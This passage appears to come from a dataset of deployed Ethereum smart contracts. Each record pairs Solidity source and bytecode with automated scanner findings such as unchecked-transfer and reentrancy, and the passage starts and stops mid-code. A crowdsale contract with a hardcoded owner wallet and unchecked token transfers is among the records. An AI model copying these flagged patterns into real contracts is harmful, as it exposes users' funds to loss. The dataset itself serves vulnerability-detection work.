1d0f848484612aa3565b90505b9392505050565b60008060008084118015611d2e575060008551115b1515611d3957600080fd5b611d506305f5e1008561267690919063ffffffff16565b9350611d6685518561267690919063ffffffff16565b915081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611db657600080fd5b600090505b8451811015611f4d5760008582815181101515611dd457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614151515611e0157600080fd5b611e6a84600760008885815181101515611e1757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265890919063ffffffff16565b600760008784815181101515611e7c57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508481815181101515611ed257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a38080600101915050611dbb565b611f9f82600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461263f90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120d157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561210d57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660009054906101000a900460ff1681565b600080841115156121f057600080fd5b6121f9856126b1565b156126295783600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561224c57600080fd5b61229e84600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461263f90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061233384600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265890919063ffffffff16565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff166000836040518082805190602001908083835b6020831015156123c557805182526020820191506020810190506020830392506123a0565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390207c01000000000000000000000000000000000000000000000000000000009004903387876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828051906020019080838360005b838110156124a657808201518184015260208101905061248b565b50505050905090810190601f1680156124d35780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af1935050505015156124f357fe5b826040518082805190602001908083835b6020831015156125295780518252602082019150602081019050602083039250612504565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019050612637565b612634858585612aa3565b90505b949350505050565b600082821115151561264d57fe5b818303905092915050565b600080828401905083811015151561266c57fe5b8091505092915050565b600080600084141561268b57600091506126aa565b828402905082848281151561269c57fe5b041415156126a657fe5b8091505b5092915050565b600080823b905060008111915050919050565b60008083600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561271557600080fd5b61276784600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461263f90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127fc84600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265890919063ffffffff16565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156129045780820151818401526020810190506128e9565b50505050905090810190601f1680156129315780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561295257600080fd5b505af1158015612966573d6000803e3d6000fd5b50505050826040518082805190602001908083835b6020831015156129a0578051825260208201915060208101905060208303925061297b565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019150509392505050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515612af357600080fd5b612b4583600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461263f90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612bda83600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265890919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816040518082805190602001908083835b602083101515612c535780518252602082019150602081019050602083039250612c2e565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16866040518082815260200191505060405180910390a48373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a36001905093925050505600a165627a7a72305820a7d013a284b74b5d899f62bc2242ca249a1f6bdcdf12343a49d442f2af7dc9630029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 10,515 |
0x940aae22d8ea74c347df8f057aec57a84a21ac46 | pragma solidity ^0.4.23;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = address(0xb9D73736E080eD5F276bC331d537fa9277f9d26D);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale,
* allowing investors to purchase tokens with ether. This contract implements
* such functionality in its most fundamental form and can be extended to provide additional
* functionality and/or custom behavior.
* The external interface represents the basic interface for purchasing tokens, and conform
* the base architecture for crowdsales. They are *not* intended to be modified / overriden.
* The internal interface conforms the extensible and modifiable surface of crowdsales. Override
* the methods to add functionality. Consider using 'super' where appropiate to concatenate
* behavior.
*/
contract Crowdsale is Ownable{
using SafeMath for uint256;
// The token being sold
IERC20 public token;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
//uint public hardCap;
uint256 public MAX_TOKEN = uint256(32768).mul(1e18);
uint256 public MIN_TOKEN = uint256(4096).mul(1e18);
uint256 public totalDeposited;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
/**
* @param _token Address of the token being sold
*/
constructor(IERC20 _token) public {
//require(_wallet != address(0));
require(_token != address(0));
wallet = address(0xb9D73736E080eD5F276bC331d537fa9277f9d26D);
token = _token;
//hardCap = 100 ether * 10 ** uint256(decimals);
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender);
}
function depositTokens() public onlyOwner{
if( MAX_TOKEN == totalDeposited.add(MAX_TOKEN) ){
token.transferFrom(address(msg.sender), address(this), MAX_TOKEN);
totalDeposited = totalDeposited.add(MAX_TOKEN);
}
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable {
//rate = (totalDeposited / token.balanceOf(address(this))) / 5 ** decimals; //1 ETH = 0.2 Token
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
rate = token.balanceOf(address(this)).mul(1e18).div(MAX_TOKEN).div(5);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function withdrawTokens(address receiver) public onlyOwner{
token.transfer(receiver, MIN_TOKEN);
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
//require(hardCap >= weiRaised.add(_weiAmount));
require(token.balanceOf(address(this)) > 0);
require(token.balanceOf(address(this)).sub(_weiAmount) >= MIN_TOKEN);
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
/**
* @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
// optional override
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.transfer(_beneficiary, _tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens.
* @param _beneficiary Address receiving the tokens
* @param _tokenAmount Number of tokens to be purchased
*/
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
/**
* @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.)
* @param _beneficiary Address receiving the tokens
* @param _weiAmount Value in wei involved in the purchase
*/
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
// optional override
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate).div(1e18);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
} | 0x6080604052600436106100c45763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631c8499c981146100cf5780632c4e722e146100f65780634042b66f1461010b57806349df728c14610120578063521eb273146101415780636e1bd32314610172578063715018a6146101875780637c4b414d1461019c5780638da5cb5b146101b1578063ec8ac4d8146101c6578063f2fde38b146101da578063fc0c546a146101fb578063ff50abdc14610210575b6100cd33610225565b005b3480156100db57600080fd5b506100e461038c565b60408051918252519081900360200190f35b34801561010257600080fd5b506100e4610392565b34801561011757600080fd5b506100e4610398565b34801561012c57600080fd5b506100cd600160a060020a036004351661039e565b34801561014d57600080fd5b50610156610452565b60408051600160a060020a039092168252519081900360200190f35b34801561017e57600080fd5b506100e4610461565b34801561019357600080fd5b506100cd610467565b3480156101a857600080fd5b506100cd6104d3565b3480156101bd57600080fd5b506101566105c5565b6100cd600160a060020a0360043516610225565b3480156101e657600080fd5b506100cd600160a060020a03600435166105d4565b34801561020757600080fd5b50610156610668565b34801561021c57600080fd5b506100e4610677565b346000610232838361067d565b60058054600154604080517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015290516102f494936102e89390928492670de0b6b3a764000092600160a060020a0316916370a082319160248083019260209291908290030181600087803b1580156102b057600080fd5b505af11580156102c4573d6000803e3d6000fd5b505050506040513d60208110156102da57600080fd5b50519063ffffffff6107ef16565b9063ffffffff61081e16565b60035561030082610833565b600454909150610316908363ffffffff61085616565b6004556103238382610863565b60408051838152602081018390528151600160a060020a0386169233927f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad18929081900390910190a361037583836107eb565b61037d61086d565b61038783836107eb565b505050565b60065481565b60035481565b60045481565b600054600160a060020a031633146103b557600080fd5b600154600654604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a03858116600483015260248201939093529051919092169163a9059cbb9160448083019260209291908290030181600087803b15801561042857600080fd5b505af115801561043c573d6000803e3d6000fd5b505050506040513d602081101561038757600080fd5b600254600160a060020a031681565b60055481565b600054600160a060020a0316331461047e57600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a031633146104ea57600080fd5b6005546007546104ff9163ffffffff61085616565b60055414156105c357600154600554604080517f23b872dd000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481019290925251600160a060020a03909216916323b872dd916064808201926020929091908290030181600087803b15801561057e57600080fd5b505af1158015610592573d6000803e3d6000fd5b505050506040513d60208110156105a857600080fd5b50506005546007546105bf9163ffffffff61085616565b6007555b565b600054600160a060020a031681565b600054600160a060020a031633146105eb57600080fd5b600160a060020a038116151561060057600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600154600160a060020a031681565b60075481565b600154604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600092600160a060020a0316916370a0823191602480830192602092919082900301818787803b1580156106e257600080fd5b505af11580156106f6573d6000803e3d6000fd5b505050506040513d602081101561070c57600080fd5b50511161071857600080fd5b600654600154604080517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015290516107bf928592600160a060020a03909116916370a08231916024808201926020929091908290030181600087803b15801561078757600080fd5b505af115801561079b573d6000803e3d6000fd5b505050506040513d60208110156107b157600080fd5b50519063ffffffff6108a916565b10156107ca57600080fd5b600160a060020a03821615156107df57600080fd5b8015156107eb57600080fd5b5050565b600082151561080057506000610818565b5081810281838281151561081057fe5b041461081857fe5b92915050565b6000818381151561082b57fe5b049392505050565b6000610818670de0b6b3a76400006102e8600354856107ef90919063ffffffff16565b8181018281101561081857fe5b6107eb82826108bb565b600254604051600160a060020a03909116903480156108fc02916000818181858888f193505050501580156108a6573d6000803e3d6000fd5b50565b6000828211156108b557fe5b50900390565b600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561092a57600080fd5b505af115801561093e573d6000803e3d6000fd5b505050506040513d602081101561095457600080fd5b505050505600a165627a7a723058200a27d3c3e7ed2acf715a5df9a1fbaad6d52b3eb7fa91e0045bef8358dcf3fe0a0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 10,516 |
0xE8531327D313d29bb16FC4cA196E17F5D9A7dB98 | /**
*Submitted for verification at Etherscan.io on 2021-06-23
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-23
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ShihouInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e13 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Shihou Inu";
string private constant _symbol = unicode"Shihou Inu";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 7;
uint256 private _feeRate = 8;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress) {
_FeeAddress = FeeAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_teamFee = 7;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
_teamFee = 7;
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
